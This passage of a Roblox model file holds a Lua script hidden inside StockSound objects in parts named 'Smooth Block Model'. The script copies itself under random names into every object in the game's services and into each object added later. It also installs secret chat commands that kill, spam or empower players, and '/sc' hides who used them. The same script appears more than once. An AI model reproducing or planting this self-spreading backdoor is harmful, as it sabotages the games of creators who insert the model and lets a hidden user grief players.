bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX865">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-174</X>
					<Y>49.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX866">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX867">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX868">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-174</X>
					<Y>50.4000015</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
